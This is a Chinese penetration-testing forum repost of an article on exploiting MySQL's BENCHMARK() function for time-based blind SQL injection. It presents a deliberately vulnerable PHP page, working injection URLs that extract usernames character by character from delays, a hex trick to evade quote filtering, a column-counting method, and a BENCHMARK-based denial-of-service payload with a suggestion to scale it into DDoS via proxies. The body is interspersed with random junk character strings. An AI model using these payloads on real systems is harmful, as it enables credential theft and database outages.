中国网络渗透测试联盟

标题: MYSQL中BENCHMARK函数的利用 [打印本页]

作者: admin    时间: 2012-9-15 14:03
标题: MYSQL中BENCHMARK函数的利用
MYSQL中BENCHMARK函数的利用 & t. K1 O/ y0 z* P) G& A6 l
本文作者:SuperHei- \" i  o; |6 z* _
文章性质:原创
9 r( Z6 E+ Q$ R0 r- }发布日期:2005-01-02  \& l7 G; e( X* P5 ]
完成日期:2004-07-09
% t3 m2 w& \; L3 ]  C0 t第一部1 \/ |/ q" _5 X; c9 ]

  I* a- P9 ^$ M4 p4 U0 {& X; d; a利用时间推延进行注射---BENCHMARK函数在注射中的利用
: T+ z  ?7 m2 m: N! l% M: C" U4 D; F/ g9 f7 y7 y8 f- z1 c
一.前言/思路
/ ~) E4 }) O, s5 n3 o0 f0 f" U1 s! ?+ U3 L' e  j
  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。0 M4 x" G: X4 F  s7 i1 q- Q3 Y' C
6 o2 P' T0 v. Z, F2 {, t
  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。5 C! K4 w- ^1 s" ~) T( [

. s& s" y. k5 ]2 L二.关于BENCHMARK函数
( _( R: t2 x' k) O% f" f0 N9 T7 O; X# h' w  x6 T5 I
  在MySQL参考手册里可以看到如下描叙: - b) t1 _) S- J8 p" C5 n4 S1 d5 E

0 ^9 ~% @% {0 N
& N8 T, i, a" R$ x--------------------------------------------------------------------------------: J" M+ |% [) D, X

: ^* ~0 b$ M9 p3 j( fBENCHMARK(count,expr) 5 Z  D" G9 ], M& \4 m8 V' a
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。 $ o1 @7 V  c: e* G
mysql> select BENCHMARK(1000000,encode("hello","goodbye")); , q0 I/ T0 u* P) Q" h* @
+----------------------------------------------+
" y9 c( t7 c1 n( r" f| BENCHMARK(1000000,encode("hello","goodbye")) | / ~( m. f8 w% n( y5 _! _
+----------------------------------------------+
  V% {1 R9 K9 Y% x' }) t: E| 0 | " W$ Q5 O7 c/ R1 w
+----------------------------------------------+
: N' c( j4 |6 }1 row in set (4.74 sec) ( Q# y- G+ B3 @) [

! U; t7 v8 K8 z! Z. h报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。. o5 t! o% T% b9 g( z, E& C
+ u/ r6 X. m* k

2 s9 i; {' ]* N8 `" r- ^' z* n--------------------------------------------------------------------------------
( ?! S- Z6 t6 q" ~* X9 z! ~
* y4 I7 W! V/ W) T  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
$ D: m( x$ Q8 C. i! W. O
  n* `; `$ U& Zmysql> select md5( 'test' ); 7 A- |6 j7 h: Z& k
+----------------------------------+ " Z! m$ Z& `4 G+ B/ Z6 @
| md5( 'test' ) | 3 f& Q# W/ s$ C7 d% |' l- Z9 c
+----------------------------------+
; ~+ l- a3 t) }| 098f6bcd4621d373cade4e832627b4f6 |
/ N+ [: B' S' j+----------------------------------+
' a6 D/ U8 o( \7 c# K$ z1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
  M2 T! J/ C: g' L3 Q+ I
, J% ^; l. v- x2 T0 c" m$ Hmysql> select benchmark( 500000, md5( 'test' ) ); 2 r, l& s+ y4 r+ {8 I" Z
+------------------------------------+
2 I0 G# B  Y& \. }+ @8 Y& K' V7 p| benchmark( 500000, md5( 'test' ) ) |
' I3 [2 A& P# [' N6 h0 W+------------------------------------+ 1 f& E6 I* f& L0 d+ Y
| 0 |
1 {9 a. n) I+ g" E. @2 `8 J+------------------------------------+ $ ^- ^( R; r$ n. l- h6 N# A- T
1 row in set (6.55 sec) 〈------------执行时间为6.55 sec! G9 K; ?# r3 p# `

% b2 p6 a/ e, C, a! A# a* {4 [, \9 A7 o2 F$ S( i4 z
  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。
: p0 P% D- P5 R9 Q  {
; s# S* ?: Q1 v% I三.具体例子6 M$ _7 _3 m/ Y
" v! `; G0 N  j* H
  首先我们看个简单的php代码:
/ `. w* A, f; b0 n- `2 a4 K  @7 X! d+ Q
< ?php ( g1 U7 w( o% L- i8 `4 T
$servername = "localhost"; / y6 c. R- v1 O% E5 k
$dbusername = "root";
$ n* Z: Y& m" n( V1 E/ M* c$dbpassword = "";
1 r  N6 E# A7 G0 C$dbname = "injection"; 8 _& ^& p6 \" z
- k7 O9 g3 u3 e* L, p& g
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); 8 ]; V: M' ~$ U+ ]" o; y
; w. t' n5 ]6 q% \) o
$sql = "SELECT * FROM article WHERE articleid=$id"; 9 [' Z* \' j+ ]- A& X% M
$result = mysql_db_query($dbname,$sql); ; y9 d; b8 {, H+ I9 G! K1 B( n
$row = mysql_fetch_array($result);
5 ]! a0 a. o8 q% X
/ c. j+ I/ V# ^0 i: J: Z0 d7 ?8 kif (!$row) 5 c8 T* p6 J  O" d. R
{ 7 O& Z- d0 `" l& Y) [9 D$ x! K) M6 d& ~
exit;
7 r# p$ j0 l; j6 e6 C7 y}
2 e/ Y) w7 n# B?>
' J, n4 w+ K2 M0 Y ( v! [, c! U1 w& q

: n6 i" S4 I% A/ i/ `  数据库injection结构和内容如下:
: e  j  {/ @* ?( d, {. R! Z. n; Z' {, G' r2 E
# 数据库 : `injection` 7 o6 b% t% Z0 X2 m4 f4 o
# : f& L* Z; B& v/ I( L
4 ]- a+ J' |# w
# --------------------------------------------------------
0 z: `  L9 u6 |* i2 F% M( T) Z9 d( p0 o: Z! d) M" b
#
6 J! f! D. x4 {( m. z, R# 表的结构 `article` ! u/ h, y) r" s$ q' f" P7 J2 q
# 9 j. A* {, l& j' S
. Y) ?: Z' U7 w# K+ X
CREATE TABLE `article` (
4 z; L+ M% l5 O3 m, W2 \3 y. I% K`articleid` int(11) NOT NULL auto_increment,
" Y9 b1 G' B, s) q0 S`title` varchar(100) NOT NULL default '',
9 s2 n4 T1 ~! _4 }`content` text NOT NULL, & m' N: }4 I4 b$ L# f
PRIMARY KEY (`articleid`)
' v1 s5 t7 e0 w) v& o) TYPE=MyISAM AUTO_INCREMENT=3 ;
5 n, I& `& S0 W  |/ r4 g( m- w7 P. }( K6 U+ k$ `3 g
#
* w# M+ L! _& Y! R7 g$ I" A6 A# 导出表中的数据 `article`
  S9 U2 x( f/ D& P#
7 o7 T6 j/ U4 q- H( F5 H! [2 h& T  [
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
. R: \/ E; R& y$ p2 ^6 TINSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
0 E+ d5 _% m8 M% n" n5 j  Q1 b- V, `2 G- a  T6 m0 B9 \
# -------------------------------------------------------- 0 c: H3 S! E* ]8 V1 L9 ~
* r0 @; @) T  r! ^. G* z( P; R
#
+ [) i" w6 A5 {9 A! K# 表的结构 `user` 0 J- W+ [1 g! L- W4 }# D1 E8 `, {
# & J# t5 U) B* @6 L
+ T" r+ v( T7 d
CREATE TABLE `user` (
9 }& y: ?! ~+ j`userid` int(11) NOT NULL auto_increment,
9 x9 p7 W% _. o* b9 f`username` varchar(20) NOT NULL default '', % k  a6 ~1 i2 Y+ ^4 _  E$ q+ L
`password` varchar(20) NOT NULL default '',
0 I7 P' N: J5 ~/ e# m% l$ j& @$ k/ z% cPRIMARY KEY (`userid`)
& w) ]+ a1 I: ^& ?$ j) TYPE=MyISAM AUTO_INCREMENT=3 ; + a3 |  k' r& ?3 r2 e* }
* t) \! n& \' _' Y8 p+ j2 B
# 8 k; j! y0 Z& q% T$ O: t
# 导出表中的数据 `user`
# J/ o' G7 K3 Q  M#
' U% l' n; L  A- ~0 A4 E" S  u5 i; Q2 Z9 L# X  u
INSERT INTO `user` VALUES (1, 'angel', 'mypass'); : w% I$ x2 {9 b: J& i& i
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
$ H3 g& z7 `# H 9 W  E5 F/ m. @
3 b5 B4 D1 a8 O0 {. T& Q
  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:$ @: _8 F  C# w) s

0 ]1 S3 c7 u5 J9 qid=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*% P3 V2 c$ f* q0 n' f4 L! H

9 V8 M5 b; |% k  v, U# D
# W, A( z& E' c1 ]9 V' a: r  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:) N8 z, l8 e' }, ?8 v! C2 k! l% i

8 R/ o, s4 X8 G# j, Qhttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*) ]2 ~# C0 v' S; k5 s; z: ]7 V

2 a8 [% j5 d7 f, G5 u0 I# B; V/ f5 a: D
  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 2 ^0 z2 j0 S% @3 @9 L6 o- h  \# O

2 T( F# t+ {2 d  v0 L  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
3 k" `" F$ A! Q3 R) _& T% A% _5 I5 n1 `0 K, Z$ g! y
第二部
& w* b& b9 b& ], Y; D) X/ h  N% l2 n' s8 r( a% I
利用BENCHMARK函数进行ddos攻击
( C# M2 o& G# h) i) R! C2 w0 A0 V. a2 j
  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:* I) N, H6 D5 q8 O" F

. S  \  p1 S9 k! ^) e, n: e6 fhttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))9 u0 t/ k) n; O8 v
4 L2 p" Q+ L) G0 P$ t

( l) P# |4 [0 k/ c9 `, v% F6 }小结
, \7 \( z1 ~% V3 N  K) h* M4 w6 D, D% [: |. U$ s
  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。, q: P: z- K8 ?  C/ ]
# T( |$ }  X9 `& h$ E" Q, I
  
1 d# ?# ?2 Z' A$ ?+ W0 A




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2